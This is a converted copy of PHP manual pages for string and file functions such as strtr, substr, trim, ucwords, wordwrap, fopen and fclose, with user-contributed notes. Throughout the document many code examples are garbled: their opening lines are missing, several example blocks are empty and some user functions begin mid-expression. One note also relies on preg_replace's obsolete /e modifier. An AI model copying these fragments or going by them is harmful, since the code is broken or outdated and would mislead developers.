echo strtr("hi all, I said hello", $trans);
?>
<
The above example will output:
hello all, I said hi
The two modes of behavior are substantially different. With three
arguments, strtr() will replace bytes; with two, it may replace longer
substrings.
Example #3 strtr() behavior comparison
>
"01");
echo strtr("baab", $trans);
?>
<
The above example will output:
1001
ba01
See Also~
|str_replace|() - Replace all occurrences of the search string with the replacement string
|preg_replace|() - Perform a regular expression search and replace
User Contributed Notes 40 notes
24 evan dot king at NOSPAM dot example dot com ¶1 year ago~
Here's an important real-world example use-case for strtr where
str_replace will not work or will introduce obscure bugs:
>
'Dave',
'Dave' => ':name2 or :password', // a wrench in the otherwise sensible input
':name2' => 'Steve',
':pass' => '7hf2348', // sensitive data that maybe shouldn't be here
];
echo strtr($strTemplate, $strParams);
// "My name is Dave, not Steve."
echo str_replace(array_keys($strParams), array_values($strParams), $strTemplate);
// "My name is Steve or 7hf2348word, not Steve or 7hf2348word2."
?>
<
Any time you're trying to template out a string and don't necessarily
know what the replacement keys/values will be (or fully understand the
implications of and control their content and order), str_replace will
introduce the potential to incorrectly match your keys because it does
not expand the longest keys first.
Further, str_replace will replace in previous replacements,
introducing potential for unintended nested expansions. Doing so can
put the wrong data into the "sub-template" or even give users a chance
to provide input that exposes data (if they get to define some of the
replacement strings).
Don't support recursive expansion unless you need it and know it will
be safe. When you do support it, do so explicitly by repeating strtr
calls until no more expansions are occurring or a sane iteration limit
is reached, so that the results never implicitly depend on order of
your replacement keys. Also make certain that any user input will
expanded in an isolated step after any sensitive data is already
expanded into the output and no longer available as input.
Note: using some character(s) around your keys to designate them also
reduces the possibility of unintended mangling of output, whether
maliciously triggered or otherwise. Thus the use of a colon prefix in
these examples, which you can easily enforce when accepting
replacement input to your templating/translation system.
21 Hayley Watson ¶4 years ago~
Since strtr (like PHP's other string functions) treats strings as a
sequence of bytes, and since UTF-8 and other multibyte encodings use -
by definition - more than one byte for at least some characters, the
three-string form is likely to have problems. Use the associative
array form to specify the mapping.
>
'a')); // Works much better
?>
<
7 dcz at phpbb-seo dot com ¶3 years ago~
strstr will issue a notice when $replace_pairs contains an array, even
unused, with php 5.5.0.
It was not the case with version at least up to 5.3.2, but I'm not
sure the notice was added with exactly 5.5.0.
>
'everybody',
'unused' => array('somtehing', 'something else'),
'hello' => 'hey',
);
// php 5.5.0 Notice: Array to string conversion in test.php on line 8
echo strtr($str, $replace_pairs); // hi everybody, I said hey
?>
<
since the result is still correct, @strstr seems a working solution.
--------------------------------------------------------------------------------
*substr_compare*
+----------------+~
| substr_compare |~
+----------------+~
(PHP 5, PHP 7)
substr_compare — Binary safe comparison of two strings from an offset,
up to length characters
Description~
>
int substr_compare ( string $main_str , string $str , int $offset [, int $length [, bool $case_insensitivity = false ]] )
<
substr_compare() compares main_str from position offset with str up to length characters.
Parameters~
main_str
--------
The main string being compared.
str
-----
The secondary string being compared.
offset
------
The start position for the comparison. If negative, it starts counting
from the end of the string.
length
------
The length of the comparison. The default value is the largest of the
length of the str compared to the length of main_str less the offset.
case_insensitivity
------------------
If case_insensitivity is TRUE, comparison is case insensitive.
Return Values~
Returns < 0 if main_str from position offset is less than str, > 0 if
it is greater than str, and 0 if they are equal. If offset is equal to
or greater than the length of main_str, or the length is set and is
less than 1 (prior to PHP 5.6), substr_compare() prints a warning and
returns FALSE.
Changelog~
Version Description
5.6.0 length may now be 0.
5.1.0 Added the possibility to use a negative offset.
Examples~
Example #1 A substr_compare() example
>
<
See Also~
|strncmp|() - Binary safe string comparison of the first n characters
User Contributed Notes 4 notes
16 jimmetry at gmail dot com ¶4 years ago~
When you came to this page, you may have been looking for something a
little simpler: A function that can check if a small string exists
within a larger string starting at a particular index. Using
substr_compare() for this can leave your code messy, because you need
to check that your string is long enough (to avoid the warning),
manually specify the length of the short string, and like many of the
string functions, perform an integer comparison to answer a true/false
question.
I put together a simple function to return true if $str exists within
$mainStr. If $loc is specified, the $str must begin at that index. If
not, the entire $mainStr will be searched.
>
strlen($mainStr)) return false;
return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0);
}
?>
7 Skyborne ¶4 years ago~
Take note of the `length` parameter: "The default value is the largest
of the length of the str compared to the length of main_str less the
offset."
This is *not* the length of str as you might (I always) expect, so if
you leave it out, you'll get unexpected results. Example:
>
<
--------------------------------------------------------------------------------
*substr_count*
+--------------+~
| substr_count |~
+--------------+~
(PHP 4, PHP 5, PHP 7)
substr_count — Count the number of substring occurrences
Description~
>
int substr_count ( string $haystack , string $needle [, int $offset = 0 [, int $length ]] )
<
substr_count() returns the number of times the needle substring occurs
in the haystack string. Please note that needle is case sensitive.
Note:
This function doesn't count overlapped substrings. See the example below!
Parameters~
haystack
--------
The string to search in
needle
------
The substring to search for
offset
------
The offset where to start counting. If the offset is negative,
counting starts from the end of the string.
length
------
The maximum length after the specified offset to search for the
substring. It outputs a warning if the offset plus the length is
greater than the haystack length. A negative length counts from the
end of haystack.
Return Values~
This function returns an integer.
Changelog~
Version Description
7.1.0 Support for negative offsets and lengths has been added.
5.1.0 Added the offset and the length parameters
Examples~
Example #1 A substr_count() example
>
14
echo substr_count($text, 'is', 5, 10);
// prints only 1, because it doesn't count overlapped substrings
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>
<
See Also~
|count_chars|() - Return information about characters used in a string
|strpos|() - Find the position of the first occurrence of a substring in a string
|substr|() - Return part of a string
|strstr|() - Find the first occurrence of a string
User Contributed Notes 10 notes
8 jrhodes at roket-enterprises dot com ¶7 years ago~
It was suggested to use
substr_count ( implode( $haystackArray ), $needle );
instead of the function described previously, however this has one
flaw. For example this array:
array (
0 => "mystringth",
1 => "atislong"
);
If you are counting "that", the implode version will return 1, but the function previously described will return 0.
7 flobi at flobi dot com ¶10 years ago~
Making this case insensitive is easy for anyone who needs this.
Simply convert the haystack and the needle to the same case (upper or
lower).
substr_count(strtoupper($haystack), strtoupper($needle))
--------------------------------------------------------------------------------
*substr_replace*
+----------------+~
| substr_replace |~
+----------------+~
(PHP 4, PHP 5, PHP 7)
substr_replace — Replace text within a portion of a string
Description~
>
mixed substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] )
<
substr_replace() replaces a copy of string delimited by the start and
(optionally) length parameters with the string given in replacement.
Parameters~
string
------
The input string.
An array of strings can be provided, in which case the replacements
will occur on each string in turn. In this case, the replacement,
start and length parameters may be provided either as scalar values to
be applied to each input string in turn, or as arrays, in which case
the corresponding array element will be used for each input string.
replacement
-----------
The replacement string.
start
-----
If start is non-negative, the replacing will begin at the start'th
offset into string.
If start is negative, the replacing will begin at the start'th
character from the end of string.
length
------
If given and is positive, it represents the length of the portion of
string which is to be replaced. If it is negative, it represents the
number of characters from the end of string at which to stop
replacing. If it is not given, then it will default to strlen( string
); i.e. end the replacing at the end of string. Of course, if length
is zero then this function will have the effect of inserting
replacement into string at the given start offset.
Return Values~
The result string is returned. If string is an array then array is
returned.
Examples~
Example #1 Simple substr_replace() examples
>
\n";
/* These two examples replace all of $var with 'bob'. */
echo substr_replace($var, 'bob', 0) . " \n";
echo substr_replace($var, 'bob', 0, strlen($var)) . " \n";
/* Insert 'bob' right at the beginning of $var. */
echo substr_replace($var, 'bob', 0, 0) . " \n";
/* These next two replace 'MNRPQR' in $var with 'bob'. */
echo substr_replace($var, 'bob', 10, -1) . " \n";
echo substr_replace($var, 'bob', -7, -1) . " \n";
/* Delete 'MNRPQR' from $var. */
echo substr_replace($var, '', 10, -1) . " \n";
?>
<
Example #2 Using substr_replace() to replace multiple strings at once
>
<
The above example will output:
A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC
Notes
Note: This function is binary-safe.
See Also~
|str_replace|() - Replace all occurrences of the search string with the replacement string
|substr|() - Return part of a string
User Contributed Notes 30 notes
16 elloromtz at gmail dot com ¶6 years ago~
It's worth noting that when start and length are both negative -and-
the length is less than or equal to start, the length will have the
effect of being set as 0.
>
<
Same as:
>
<
Same as:
>
<
Another note, if length is negative and start offsets the same
position as length, length (yet again) will have the effect as being
set as 0. (Of course, as mentioned in the manual, when length is
negative it actually represents the position before it)
>
<
Same as:
>
<
Same as:
>
<
7 juichenieder-phnet at yahoo dot co dot uk ¶8 years ago~
I've just taken a look at the post by ntoniazzi and I have a very
small correction to make.
In the second if statement, it should be a triple equals, so:
It requires the triple equals, for the case of pure insertion, where
$length = 0, the double equals, will catch this, causing the string to
be cut short. I hope this helps someone.
7 ivijan dot stefan at gmail dot com ¶3 years ago~
I have a little function that works like substr_replace () what I use for some purpose. Maybe someone needs it.
>
$d[0]) $position=$d[0];
for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i];
for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i];
return $string;
}
// Explanation
$string='My dog dont love postman'; // string
$put="'"; // put ' on position
$position=10; // number of characters (position)
print_r( putinplace($string, $put, $position) );
?>
<
RESULT: My dog don't love postman
This is a small powerful function that performs its job flawlessly.
--------------------------------------------------------------------------------
*substr*
+--------+~
| substr |~
+--------+~
(PHP 4, PHP 5, PHP 7)
substr — Return part of a string
Description~
>
string substr ( string $string , int $start [, int $length ] )
<
Returns the portion of string specified by the start and length
parameters.
Parameters~
string
------
The input string. Must be one character or longer.
start
-----
If start is non-negative, the returned string will start at the
start'th position in string, counting from zero. For instance, in the
string 'abcdef', the character at position 0 is 'a', the character at
position 2 is 'c', and so forth.
If start is negative, the returned string will start at the start'th
character from the end of string.
If string is less than start characters long, FALSE will be returned.
Example #1 Using a negative start
>
<
length
------
If length is given and is positive, the string returned will contain
at most length characters beginning from start (depending on the
length of string).
If length is given and is negative, then that many characters will be
omitted from the end of string (after the start position has been
calculated when a start is negative). If start denotes the position of
this truncation or beyond, FALSE will be returned.
If length is given and is 0, FALSE or NULL, an empty string will be
returned.
If length is omitted, the substring starting from start until the end
of the string will be returned.
Example #2 Using a negative length
>
<
Return Values~
Returns the extracted part of string; or FALSE on failure, or an empty
string.
Changelog~
Version Description
7.0.0 If string is equal to start characters long, an empty string
will be returned. Prior to this version, FALSE was returned in this
case.
5.2.2 - 5.2.6 If the start parameter indicates the position of a
negative truncation or beyond, false is returned. Other versions get
the string from start.
Examples~
Example #3 Basic substr() usage
>
<
Example #4 substr() casting behaviour
>
<
Output of the above example in PHP 7:
1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) ''
6) ''
7) '1200'
Output of the above example in PHP 5:
1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) false
6) false
7) '1200'
Errors/Exceptions ¶
Returns FALSE on error.
>
<
See Also~
|strrchr|() - Find the last occurrence of a character in a string
|substr_replace|() - Replace text within a portion of a string
|preg_match|() - Perform a regular expression match
|trim|() - Strip whitespace (or other characters) from the beginning and end of a string
|mb_substr|() - Get part of string
|wordwrap|() - Wraps a string to a given number of characters
User Contributed Notes 47 notes
79 Andreas Bur (andreas dot buro at gmail dot com) ¶7 years ago~
For getting a substring of UTF-8 characters, I highly recommend mb_substr
>
<
59 biohazard dot ge at gmail dot com ¶3 years ago~
may be by following functions will be easier to extract the needed sub
parts from a string:
>
<
here comes the source:
>
<
11 fanfatal at fanfatal dot pl ¶11 years ago~
Hmm ... this is a script I wrote, whitch is very similar to substr,
but it isn't takes html and bbcode for counting and it takes portion
of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and
bbcode tags
>
]*?>|<\/\w+>)/i';
$clean = preg_replace($pattern, chr(1), $string);
if(!$length)
$str = substr($clean, $start);
else {
$str = substr($clean, $start, $length);
$str = substr($clean, $start, $length + substr_count($str, chr(1)));
}
$pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
if(preg_match('/'.$pattern.'/is', $string, $matched))
return $matched[0];
return $string;
}
?>
<
Using this is similar to simple substr.
Greatings ;]
...
--------------------------------------------------------------------------------
*trim*
+------+~
| trim |~
+------+~
(PHP 4, PHP 5, PHP 7)
trim — Strip whitespace (or other characters) from the beginning and
end of a string
Description~
>
string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )
<
This function returns a string with whitespace stripped from the
beginning and end of str. Without the second parameter, trim() will
strip these characters:
" " (ASCII 32 (0x20)), an ordinary space.
"\t" (ASCII 9 (0x09)), a tab.
"\n" (ASCII 10 (0x0A)), a new line (line feed).
"\r" (ASCII 13 (0x0D)), a carriage return.
"\0" (ASCII 0 (0x00)), the NUL-byte.
"\x0B" (ASCII 11 (0x0B)), a vertical tab.
Parameters~
str
-----
The string that will be trimmed.
character_mask
--------------
Optionally, the stripped characters can also be specified using the
character_mask parameter. Simply list all characters that you want to
be stripped. With .. you can specify a range of characters.
Return Values~
The trimmed string.
Examples~
Example #1 Usage example of trim()
>
<
The above example will output:
string(32) " These are a few words :) ... "
string(16) " Example string
"
string(11) "Hello World"
string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(9) "ello Worl"
string(14) "Example string"
Example #2 Trimming array values with trim()
>
<
The above example will output:
array(3) {
[0]=>
string(5) "apple"
[1]=>
string(7) "banana "
[2]=>
string(11) " cranberry "
}
array(3) {
[0]=>
string(5) "apple"
[1]=>
string(6) "banana"
[2]=>
string(9) "cranberry"
}
Notes~
Note: Possible gotcha: removing middle characters
Because trim() trims characters from the beginning and end of a
string, it may be confusing when characters are (or are not) removed
from the middle. trim('abc', 'bad') removes both 'a' and 'b' because
it trims 'a' thus moving 'b' to the beginning to also be trimmed. So,
this is why it "works" whereas trim('abc', 'b') seemingly does not.
See Also~
|ltrim|() - Strip whitespace (or other characters) from the beginning of a string
|rtrim|() - Strip whitespace (or other characters) from the end of a string
|str_replace|() - Replace all occurrences of the search string with the replacement string
User Contributed Notes 7 notes
39 Piopier ¶10 years ago~
It may be useful to know that trim() returns an empty string when the
argument is an unset/null variable.
36 ludko2 at gmail dot com ¶6 years ago~
Non-breaking spaces can be troublesome with trim:
>
>
// UTF encodes it as chr(0xC2).chr(0xA0)
$converted = trim($converted,chr(0xC2).chr(0xA0)); // should work
// PS: Thanks to John for saving my sanity!
?>
<
22 jubi at irc dot pl ¶12 years ago~
To remove multiple occurences of whitespace characters in a string an
convert them all into single spaces, use this:
>
$text = preg_replace('/\s+/', ' ', $text);
?>
<
------------
JUBI
http://www.jubi.buum.pl
--------------------------------------------------------------------------------
*ucfirst*
+---------+~
| ucfirst |~
+---------+~
(PHP 4, PHP 5, PHP 7)
ucfirst — Make a string's first character uppercase
Description~
>
string ucfirst ( string $str )
<
Returns a string with the first character of str capitalized, if that
character is alphabetic.
Note that 'alphabetic' is determined by the current locale. For
instance, in the default "C" locale characters such as umlaut-a (ä)
will not be converted.
Parameters~
str
-----
The input string.
Return Values~
Returns the resulting string.
Examples~
Example #1 ucfirst() example
>
<
See Also~
|lcfirst|() - Make a string's first character lowercase
|strtolower|() - Make a string lowercase
|strtoupper|() - Make a string uppercase
|ucwords|() - Uppercase the first character of each word in a string
User Contributed Notes 32 notes
48 plemieux ¶11 years ago~
Simple multi-bytes ucfirst():
>
<
18 mattalexxpub at gmail dot com ¶8 years ago~
This is what I use for converting strings to sentence case:
>
$sentence) {
$new_string .= ($key & 1) == 0?
ucfirst(strtolower(trim($sentence))) :
$sentence.' ';
}
return trim($new_string);
}
print sentence_case('HMM. WOW! WHAT?');
// Outputs: "Hmm. Wow! What?"
?>
<
12 svetoslavm at gmail dot com ¶8 years ago
For some reason this worked for me.
Mac OS 10.5.1
PHP 5.2.6
>
<
Svetoslav Marinov
http://slavi.biz
10 prokur.net - there is my email ¶8 years ago~
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
>
<
it also check is mb support enabled or not
--------------------------------------------------------------------------------
*ucwords*
+---------+~
| ucwords |~
+---------+~
(PHP 4, PHP 5, PHP 7)
ucwords — Uppercase the first character of each word in a string
Description~
>
string ucwords ( string $str [, string $delimiters = " \t\r\n\f\v" ] )
<
Returns a string with the first character of each word in str
capitalized, if that character is alphabetic.
The definition of a word is any string of characters that is
immediately after any character listed in the delimiters parameter (By
default these are: space, form-feed, newline, carriage return,
horizontal tab, and vertical tab).
Parameters~
str
-----
The input string.
delimiters
----------
The optional delimiters contains the word separator characters.
Return Values~
Returns the modified string.
Changelog~
Version Description
5.4.32, 5.5.16 Added the delimiters parameter.
Examples~
Example #1 ucwords() example
>
<
Example #2 ucwords() example with custom delimiter
>
<
Notes
Note: This function is binary-safe.
See Also~
|strtoupper|() - Make a string uppercase
|strtolower|() - Make a string lowercase
|ucfirst|() - Make a string's first character uppercase
|mb_convert_case|() - Perform case folding on a string
User Contributed Notes 54 notes
49 jmarois at ca dot ibm dot com ¶7 years ago~
My quick and dirty ucname (Upper Case Name) function.
>
<
You can add more delimiters in the for-each loop array if you want to
handle more characters.
24 antoniomax at antoniomax dot com ¶3 years ago~
Para formatar nomes em pt-br:
>
$delimiter) {
$words = explode($delimiter, $string);
$newwords = array();
foreach ($words as $wordnr => $word) {
if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)) {
// check exceptions list for any words that should be in upper case
$word = mb_strtoupper($word, "UTF-8");
} elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)) {
// check exceptions list for any words that should be in upper case
$word = mb_strtolower($word, "UTF-8");
} elseif (!in_array($word, $exceptions)) {
// convert to uppercase (non-utf8 only)
$word = ucfirst($word);
}
array_push($newwords, $word);
}
$string = join($delimiter, $newwords);
}//foreach
return $string;
}
?>
<
Usage:
>
<
12 robert at broofa dot com ¶7 years ago~
Some recipes for switching between underscore and camelcase naming:
>
"ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);
// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);
// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>
<
Of course these aren't 100% symmetric. For example...
* this_is_a_string -> ThisIsAString -> this_is_astring
* GetURLForString -> get_urlfor_string -> GetUrlforString
--------------------------------------------------------------------------------
*vfprintf*
+----------+~
| vfprintf |~
+----------+~
(PHP 5, PHP 7)
vfprintf — Write a formatted string to a stream
Description~
>
int vfprintf ( resource $handle , string $format , array $args )
<
Write a string produced according to format to the stream resource
specified by handle.
Operates as fprintf() but accepts an array of arguments, rather than a
variable number of arguments.
Parameters~
handle
------
format
See sprintf() for a description of format.
args
-----
Return Values~
Returns the length of the outputted string.
Examples~
Example #1 vfprintf(): zero-padded integers
>
<
See Also~
|printf|() - Output a formatted string
|sprintf|() - Return a formatted string
|sscanf|() - Parses input from a string according to a format
|fscanf|() - Parses input from a file according to a format
|vsprintf|() - Return a formatted string
|number_format|() - Format a number with grouped thousands
--------------------------------------------------------------------------------
*vprintf*
+---------+~
| vprintf |~
+---------+~
(PHP 4 >= 4.1.0, PHP 5, PHP 7)
vprintf — Output a formatted string
Description~
>
int vprintf ( string $format , array $args )
<
Display array values as a formatted string according to format (which
is described in the documentation for sprintf()).
Operates as printf() but accepts an array of arguments, rather than a
variable number of arguments.
Parameters~
format
------
See sprintf() for a description of format.
args
-----
Return Values~
Returns the length of the outputted string.
Examples~
Example #1 vprintf(): zero-padded integers
>
<
See Also~
|printf|() - Output a formatted string
|sprintf|() - Return a formatted string
|vsprintf|() - Return a formatted string
--------------------------------------------------------------------------------
*vsprintf*
+----------+~
| vsprintf |~
+----------+~
(PHP 4 >= 4.1.0, PHP 5, PHP 7)
vsprintf — Return a formatted string
Description~
>
string vsprintf ( string $format , array $args )
<
Operates as sprintf() but accepts an array of arguments, rather than a
variable number of arguments.
Parameters~
format
------
See sprintf() for a description of format.
args
-----
Return Values~
Return array values as a formatted string according to format (which
is described in the documentation for sprintf()).
Examples~
Example #1 vsprintf(): zero-padded integers
>
<
See Also~
|sprintf|() - Return a formatted string
|vprintf|() - Output a formatted string
User Contributed Notes 13 notes
12 Josef Kufner ¶4 years ago~
>
1, 'y' => 2))
* Result: 'y = 2, x = 1.0'
*
* $args also can be object, then it's properties are retrieved
* using get_object_vars().
*
* '%s' without argument name works fine too. Everything vsprintf() can do
* is supported.
*
* @author Josef Kufner
*/
function vksprintf($str, $args)
{
if (is_object($args)) {
$args = get_object_vars($args);
}
$map = array_flip(array_keys($args));
$new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/',
function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; },
$str);
return vsprintf($new_str, $args);
}
?>
<
--------------------------------------------------------------------------------
*wordwrap*
+----------+~
| wordwrap |~
+----------+~
(PHP 4 >= 4.0.2, PHP 5, PHP 7)
wordwrap — Wraps a string to a given number of characters
Description~
>
string wordwrap ( string $str [, int $width = 75 [, string $break = "\n" [, bool $cut = false ]]] )
<
Wraps a string to a given number of characters using a string break
character.
Parameters~
str
-----
The input string.
width
-----
The number of characters at which the string will be wrapped.
break
-----
The line is broken using the optional break parameter.
cut
-----
If the cut is set to TRUE, the string is always wrapped at or before
the specified width. So if you have a word that is larger than the
given width, it is broken apart. (See second example). When FALSE the
function does not split the word even if the width is smaller than the
word width.
Return Values~
Returns the given string wrapped at the specified length.
Examples~
Example #1 wordwrap() example
>
\n");
echo $newtext;
?>
<
The above example will output:
The quick brown fox
jumped over the lazy
dog.
Example #2 wordwrap() example
>
<
The above example will output:
A very
long
wooooooo
ooooord.
Example #3 wordwrap() example
>
<
The above example will output:
A very
long
woooooooooooooooooord.
and
something
See Also ¶
nl2br() - Inserts HTML line breaks before all newlines in a string
chunk_split() - Split a string into smaller chunks
add a note add a note
User Contributed Notes 20 notes
12 ju1ius ¶5 years ago~
Another solution to utf-8 safe wordwrap, unsing regular expressions.
Pretty good performance and works in linear time.
>
<
Of course don't forget to use preg_quote on the $width and $break
parameters if they come from untrusted input.
13 Dave Lozier - dave at fusionbb.com ¶11 years ago~
If you'd like to break long strings of text but avoid breaking html
you may find this useful. It seems to be working for me, hope it works
for you. Enjoy. :)
>
',$text);
$sizeof = sizeof($text_1);
for ($i=0; $i<$sizeof; ++$i) {
$text_2 = explode('<',$text_1[$i]);
if (!empty($text_2[0])) {
$new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1 ', $text_2[0]);
}
if (!empty($text_2[1])) {
$new_text .= '<' . $text_2[1] . '>';
}
}
return $new_text;
}
?>
<
--------------------------------------------------------------------------------
from:
http://php.net/manual/en/function.fopen.php
*fopen*
+-------+~
| fopen |~
+-------+~
(PHP 4, PHP 5, PHP 7)
fopen — Opens file or URL
Description~
>
resource fopen ( string $filename , string $mode [, bool $use_include_path = false [, resource $context ]] )
fopen() binds a named resource, specified by filename, to a stream.
<
Parameters~
filename
--------
If filename is of the form "scheme://...", it is assumed to be a URL
and PHP will search for a protocol handler (also known as a wrapper)
for that scheme. If no wrappers for that protocol are registered, PHP
will emit a notice to help you track potential problems in your script
and then continue as though filename specifies a regular file.
If PHP has decided that filename specifies a local file, then it will
try to open a stream on that file. The file must be accessible to PHP,
so you need to ensure that the file access permissions allow this
access. If you have enabled safe mode or open_basedir further
restrictions may apply.
If PHP has decided that filename specifies a registered protocol, and
that protocol is registered as a network URL, PHP will check to make
sure that allow_url_fopen is enabled. If it is switched off, PHP will
emit a warning and the fopen call will fail.
Note:
The list of supported protocols can be found in Supported Protocols
and Wrappers. Some protocols (also referred to as wrappers) support
context and/or php.ini options. Refer to the specific page for the
protocol in use for a list of options which can be set. (e.g. php.ini
value user_agent used by the http wrapper).
On the Windows platform, be careful to escape any backslashes used in
the path to the file, or use forward slashes.
>
<
mode
-----
The mode parameter specifies the type of access you require to the
stream. It may be any of the following:
A list of possible modes for fopen() using mode
mode Description
'r' Open for reading only; place the file pointer at the beginning of the file.
'r+' Open for reading and writing; place the file pointer at the
beginning of the file.
'w' Open for writing only; place the file pointer at the beginning
of the file and truncate the file to zero length. If the file does not
exist, attempt to create it.
'w+' Open for reading and writing; place the file pointer at the
beginning of the file and truncate the file to zero length. If the
file does not exist, attempt to create it.
'a' Open for writing only; place the file pointer at the end of
the file. If the file does not exist, attempt to create it. In this
mode, fseek() has no effect, writes are always appended.
'a+' Open for reading and writing; place the file pointer at the
end of the file. If the file does not exist, attempt to create it. In
this mode, fseek() only affects the reading position, writes are
always appended.
'x' Create and open for writing only; place the file pointer at
the beginning of the file. If the file already exists, the fopen()
call will fail by returning FALSE and generating an error of level
E_WARNING. If the file does not exist, attempt to create it. This is
equivalent to specifying O_EXCL|O_CREAT flags for the underlying
open(2) system call.
'x+' Create and open for reading and writing; otherwise it has the
same behavior as 'x'.
'c' Open the file for writing only. If the file does not exist, it
is created. If it exists, it is neither truncated (as opposed to 'w'),
nor the call to this function fails (as is the case with 'x'). The
file pointer is positioned on the beginning of the file. This may be
useful if it's desired to get an advisory lock (see flock()) before
attempting to modify the file, as using 'w' could truncate the file
before the lock was obtained (if truncation is desired, ftruncate()
can be used after the lock is requested).
'c+' Open the file for reading and writing; otherwise it has the
same behavior as 'c'.
'e' Set close-on-exec flag on the opened file descriptor. Only
available in PHP compiled on POSIX.1-2008 conform systems.
Note:
Different operating system families have different line-ending
conventions. When you write a text file and want to insert a line
break, you need to use the correct line-ending character(s) for your
operating system. Unix based systems use \n as the line ending
character, Windows based systems use \r\n as the line ending
characters and Macintosh based systems use \r as the line ending
character.
If you use the wrong line ending characters when writing your files,
you might find that other applications that open those files will
"look funny".
Windows offers a text-mode translation flag ('t') which will
transparently translate \n to \r\n when working with the file. In
contrast, you can also use 'b' to force binary mode, which will not
translate your data. To use these flags, specify either 'b' or 't' as
the last character of the mode parameter.
The default translation mode depends on the SAPI and version of PHP
that you are using, so you are encouraged to always specify the
appropriate flag for portability reasons. You should use the 't' mode
if you are working with plain-text files and you use \n to delimit
your line endings in your script, but expect your files to be readable
with applications such as notepad. You should use the 'b' in all other
cases.
If you do not specify the 'b' flag when working with binary files, you
may experience strange problems with your data, including broken image
files and strange problems with \r\n characters.
Note:
For portability, it is strongly recommended that you always use the
'b' flag when opening files with fopen().
Note:
Again, for portability, it is also strongly recommended that you
re-write code that uses or relies upon the 't' mode so that it uses
the correct line endings and 'b' mode instead.
use_include_path
----------------
The optional third use_include_path parameter can be set to '1' or
TRUE if you want to search for the file in the include_path, too.
context
-------
Note: Context support was added with PHP 5.0.0. For a description of
contexts, refer to Streams.
Return Values~
Returns a file pointer resource on success, or FALSE on error.
Errors/Exceptions~
If the open fails, an error of level E_WARNING is generated. You may
use @ to suppress this warning.
Changelog~
Version Description
7.0.16, 7.1.2 The 'e' option were added.
5.2.6 The 'c' and 'c+' options were added
4.3.2 As of PHP 4.3.2, the default mode is set to binary for all
platforms that distinguish between binary and text mode. If you are
having problems with your scripts after upgrading, try using the 't'
flag as a workaround until you have made your script more portable as
mentioned before
Examples~
Example #1 fopen() examples
>
<
Notes~
Warning
When using SSL, Microsoft IIS will violate the protocol by closing the
connection without sending a close_notify indicator. PHP will report
this as "SSL: Fatal Protocol Error" when you reach the end of the
data. To work around this, the value of error_reporting should be
lowered to a level that does not include warnings. PHP can detect
buggy IIS server software when you open the stream using the https://
wrapper and will suppress the warning. When using fsockopen() to
create an ssl:// socket, the developer is responsible for detecting
and suppressing this warning.
Note: When safe mode is enabled, PHP checks whether the directory in
which the script is operating has the same UID (owner) as the script
that is being executed.
Note:
If you are experiencing problems with reading and writing to files and
you're using the server module version of PHP, remember to make sure
that the files and directories you're using are accessible to the
server process.
Note:
This function may also succeed when filename is a directory. If you
are unsure whether filename is a file or a directory, you may need to
use the is_dir() function before calling fopen().
See Also~
Supported Protocols and Wrappers
|fclose|() - Closes an open file pointer
|fgets|() - Gets line from file pointer
|fread|() - Binary-safe file read
|fwrite|() - Binary-safe file write
|fsockopen|() - Open Internet or Unix domain socket connection
|file|() - Reads entire file into an array
|file_exists|() - Checks whether a file or directory exists
|is_readable|() - Tells whether a file exists and is readable
|stream_set_timeout|() - Set timeout period on a stream
|popen|() - Opens process file pointer
|stream_context_create|() - Creates a stream context
|umask|() - Changes the current umask
|SplFileObject|
User Contributed Notes 43 notes
57 chapman at worldtakeoverindustries dot com ¶5 years ago~
Note - using fopen in 'w' mode will NOT update the modification time
(filemtime) of a file like you may expect. You may want to issue a
touch() after writing and closing the file which update its
modification time. This may become critical in a caching situation, if
you intend to keep your hair.
10 php at delhelsa dot com ¶8 years ago~
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with
fopen() or readfile() requires an extra forwardslash if an absolute
path is needed.
i.e., if a file called bullbes.txt is stored under /var/school/ on ftp
server example.com and you're trying to access it with user blossom
and password buttercup, the url would be:
ftp://blossom:buttercup@example.com//var/school/bubbles.txt
Note the two forwardslashes. It looks like the second one is needed so
the server won't interpret the path as relative to blossom's home on
townsville.
--------------------------------------------------------------------------------
*fclose*
+--------+~
| fclose |~
+--------+~
(PHP 4, PHP 5, PHP 7)
fclose — Closes an open file pointer
Description~
>
bool fclose ( resource $handle )
<
The file pointed to by handle is closed.
Parameters~
handle
------
The file pointer must be valid, and must point to a file successfully
opened by fopen() or fsockopen().
Return Values~
Returns TRUE on success or FALSE on failure.
Examples~
Example #1 A simple fclose() example
>
<
See Also~
|fopen|() - Opens file or URL
|fsockopen|() - Open Internet or Unix domain socket connection
User Contributed Notes 9 notes
7 jgotti ¶4 years ago~
In case you have some trouble to properly disconnect some client
streams opened with stream_socket_server / stream_select you should
give a try to stream_socket_shutdown.
>
<
6 jricher at jacquesricher dot com ¶12 years ago~
It is a GOOD_THING to check the return value from fclose(), as some
operating systems only flush file output on close, and can, therefore,
return an error from fclose(). You can catch severe data-eating errors
by doing this.
I learned this the hard way.
--------------------------------------------------------------------------------
*basename*
+----------+~
| basename |~
+----------+~
